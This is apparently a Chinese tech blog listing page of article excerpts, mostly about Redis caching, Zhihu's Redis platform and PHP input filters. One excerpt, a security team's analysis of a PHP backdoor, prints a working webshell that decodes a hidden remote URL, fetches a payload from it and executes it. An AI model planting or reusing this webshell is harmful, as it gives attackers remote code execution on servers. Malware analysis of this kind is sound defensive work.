首 页 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 尾 页

史上最全分布式缓存面试80题和答案:Redis+Memcached!限时领取~

发布者: PHPYuan | 发布时间:2018-09-19

史上最全分布式缓存面试80题和答案:Redis+Memcached!限时领取~

在高级java以及架构师面试题目中,阿里、百度等BAT会特别喜欢问分布式缓存相关的:redis、memcached题目,希望本篇能让你精通于分布式缓存面试,尾部有对应题目的详细答案,限时领取~

最全Redis面试题目史上最全分布式缓存面试80题和答案:Redis+Memcached!限时领取~

想读更多 ->

从单机到2000万QPS:知乎Redis平台发展与演进之路

发布者: PHPYuan | 发布时间:2018-09-19

作者简介:陈鹏,现知乎存储平台组 Redis 平台技术负责人,2014 年加入知乎技术平台组从事基础架构相关系统的开发与运维,从无到有建立了知乎 Redis 平台,承载了知乎高速增长的业务流量。

背景

知乎作为知名中文知识内容平台,每日处理的访问量巨大,如何更好的承载这样巨大的访问量,同时提供稳定低时延的服务保证,是知乎技术平台同学需要面对的一大挑战。

知乎存储平台团队基于开源Redis 组件打造的 Redis 平台管理系统,经过不断的研发迭代,目前已经形成了一整套完整自动化运维服务体系,提供一键部署集群,一键自动扩缩容, Redis 超细粒度监控,旁路流量分析等辅助功能。

目前,Redis 在知乎规模如下:

● 机器内存总量约70TB,实际使用内存约40TB;

● 平均每秒处理约1500万次请求,峰值每秒约2000万次请求;

● 每天处理约1万亿余次请求;

● 单集群每秒处理最高每秒约400万次请求;

● 集群实例与单机实例总共约800个;

● 实际运行约16000个Redis 实例;

● Redis 使用官方3.0.7版本,少部分实例采用4.0.11版本。

Redis at Zhihu

根据业务的需求,我们将实例区分为

想读更多 ->

Redis之SpringDataRedis对象写入到Redis中

发布者: PHPYuan | 发布时间:2018-09-19

业务场景中经常遇到使用Redis作为缓存,而将对象写入Redis更是常见的。下面来看下,对象写入Redis的俩种方式(我之前就知道除了JDK,还有其它的诸如Jackson提供序列化功能,但是JDK之外的其它第三方在方序列化的时候提供目标对象class,不过今天我发现Spring-data-redis自带的这个GenericJackson2JsonRedisSerializer解决了我的烦恼)。

1.公用配置

List-1 连接池和ConnectionFactory配置

<bean id="pool" class="redis.clients.jedis.JedisPoolConfig"> <property name="maxTotal" value="30"/> <property name="maxIdle" value="10"/> <property name="minEvictableIdleTimeMillis" value="100000"/> <property name="numTestsPerEvictionRun" value="1024"/> </bean> <bean id="jedisConnectionFactory" clas

想读更多 ->

知乎技术分享:从单机到2000万QPS并发的Redis高性能缓存实践之路

发布者: PHPYuan | 发布时间:2018-09-19

本文来自知乎官方技术团队的“知乎技术专栏”,感谢原作者陈鹏的无私分享。

1、引言

知乎存储平台团队基于开源Redis 组件打造的知乎 Redis 平台,经过不断的研发迭代,目前已经形成了一整套完整自动化运维服务体系,提供很多强大的功能。本文作者陈鹏是该系统的负责人,本次文章深入介绍了该系统的方方面面,值得互联网后端程序员仔细研究。

知乎技术分享:从单机到2000万QPS并发的Redis高性能缓存实践之路

(本文同步发布于:http://www.52im.net/thread-1968-1-1.html)

2、关于作者

陈鹏:现任知乎存储平台组 Redis 平台技术负责人,2014 年加入知乎技术平台组从事基础架构相关系统的开发与运维,从无到有建立了知乎 Redis 平台,承载了知乎高速增长的业务流量。

3、技术背景<

想读更多 ->

新人入坑必备,Redis一定会用到的吐血总结

发布者: PHPYuan | 发布时间:2018-09-19

一、什么是Redis

Redis是一个使用C语言开发的开源的高性能的key-value存储系统,我们可以把它近似理解为Java Map。简单来讲,Redis是一种NOSQL内存数据库,小伙伴们可不要把它理解为NO SQL(不是SQL),它的全称是Not Only SQL(不仅仅是SQL),换个层面来讲,它是一种非关系型的数据库,它是作为关系型数据库的良好补充,它与传统的MySQL,Oracle不同之处在于,它是通过在内存中读写数据,大大提高了读写速度。可以说,Redis是为了解决网站高并发、高可用、高可扩展、大数据存储等一系列问题而产生的数据库解决方案,不可或缺的一部分。

它具有以下特点:

1、Redis支持数据的持久化,可以将内存中的数据保持在磁盘中,重启的时候可以再次加载进行使用。

2、Redis不仅仅支持简单的key-value类型的数据,同时还提供string、list、set、sortedset、hash等数据结构的存储。

3、Redis支持数据的备份,即master-slave模式的数据备份。

Redis有五种键值类型:

String字符类型hash散列类型list列表类型set集合类型sortedset有序集合类型

而本文将基于Redis5.0为例来介绍Redis一些相关命令的使用和踩过的坑

想读更多 ->

Redis不懂,面试担心不过,一次性解决面试Redis题目(含答案)?

发布者: PHPYuan | 发布时间:2018-09-19

Redis不懂,面试担心不过,一次性解决面试Redis题目(含答案)?

Redis是一个非常火的非关系型数据库,火到什么程度呢?只要是一个互联网公司都会使用到。Redis相关的问题可以说是面试必问的,下面我从个人当面试官的经验,总结几个必须要掌握的知识点。 介绍:Redis 是一个开源的使用 ANSI C 语言编写、遵守 BSD 协议、支持网络、可基于内存亦可持久化的日志型、Key-Value 数据库,并提供多种语言的 API的非关系型数据库。 传统数据库遵循 ACID 规则。而 Nosql(Not Only SQL 的缩写,是对不同于传统的关系型数据库的数据库管理系统的统称) 一般为分布式而分布式一般遵循 CAP 定理。

String字符串: 格式: set key value string类型是二进制安全的。意思是redis的string可以包含任何数据。比如jpg图片或者序列化的对象 。 string类型是Redis最基本的数据类型,一个键最大能存储512MB。

想读更多 ->

关于Redis集群中配置主从复制的简单操作

发布者: PHPYuan | 发布时间:2018-09-19

一、Redis 提供了Master/Slave架构机制,这样大大提高了Redis的容灾能力,假如某台Redis服务器由于网络或者主机的原因导致宕机,Redis就不能正常提供服务了,通过主从复制就可以是先多个从服务器拥有和主服务器一样的数据,这样就能保证数据的完整性,并且Redis可以有N多个从Redis服务器,在水平扩展时极为方便。

关于Redis集群中配置主从复制的简单操作

二、Redis 的主从复制有如下几个特点:

1、一台Master有多个Slave

2、Slave不仅可以连接Master并且可以连接Slave

3、主从复制不会影响 Master 的性能,复制过程是异步进行的

三、Redis的主从同步过程如下:

1、Slave与Master建立连接,发送sync同步命令

2、Master会启动一个后台进程,将数据快照保存在文件中,同时Master主进程启动新的守护进程继续收集命令

想读更多 ->

缓存架构之SpringBoot集成redis并结合ehcache实现二级缓存架构

发布者: PHPYuan | 发布时间:2018-09-19

0、背景介绍:

缓存架构之SpringBoot集成redis并结合ehcache实现二级缓存架构

上次课我们以广告系统为案例背景,分享了亿级流量高并发广告系统多级缓存架构,实战演练了本地缓存的使用,今天我们实战演练下redis分布式缓存的使用,作为二级缓存

为什么又要引入redis缓存呢,因为本地缓存仅对单个应用有效,存储也是少量数据,而redis可以作为分布式缓存,供所有的应用使用,存储的是全量数据

下节我们将分享分布式定时任务框架,实现redis数据的定时全量更新,欢迎持续关注……

详细背景介绍:请参考如下文章

亿级流量高并发广告系统多级缓存架构初探

想读更多 ->

「安全与防护」PHP后门新玩法:一款猥琐的PHP后门分析

发布者: PHPYuan | 发布时间:2018-09-18

0x00 背景

近日,360网站卫士安全团队近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣。接下来就让我们一同共赏这个奇葩的Webshell吧。

0x01 细节

Webshell代码如下:

<?php error_reporting(0); session_start(); header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api'])) $_SESSION['api']=substr(file_get_contents( sprintf('%s?%s',pack("H*", '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649); @preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null); ?>

关键看下面这句代码,

sprintf('%s?%s',pack("H*",'687474703a2f2f37736865

想读更多 ->

为什么我们要使用PHP过滤器?这两个过滤器你应该知道!

发布者: PHPYuan | 发布时间:2018-09-18

PHP 过滤器用于验证和过滤来自非安全来源的数据。测试、验证和过滤用户输入或自定义数据是任何 Web 应用程序的重要组成部分。PHP 的过滤器扩展的设计目的是使数据过滤更轻松快捷。我们通过使用PHP过滤器,能够确保应用程序获得正确的输入类型。

为什么我们要使用PHP过滤器?这两个过滤器你应该知道!

今天就和大家分享两款常用的过滤器,希望对大家学习有所帮助

alidating 过滤器

用于验证用户输入

严格的格式规则(比如 URL 或 E-Mail 验证)

如果成功则返回预期的类型,如果失败则返回 FALSE

Sanitizing 过滤器

用于允许或禁止字符串中指定的字符

无数据格式规则

始终返回字符串

最后

为帮助那些往想互联网方向转行想学习,却因为时间不够,资源不足而放弃的人。我搜集整理了一套完整的IT学习资料,包括Java、SEO优化、Py

想读更多 ->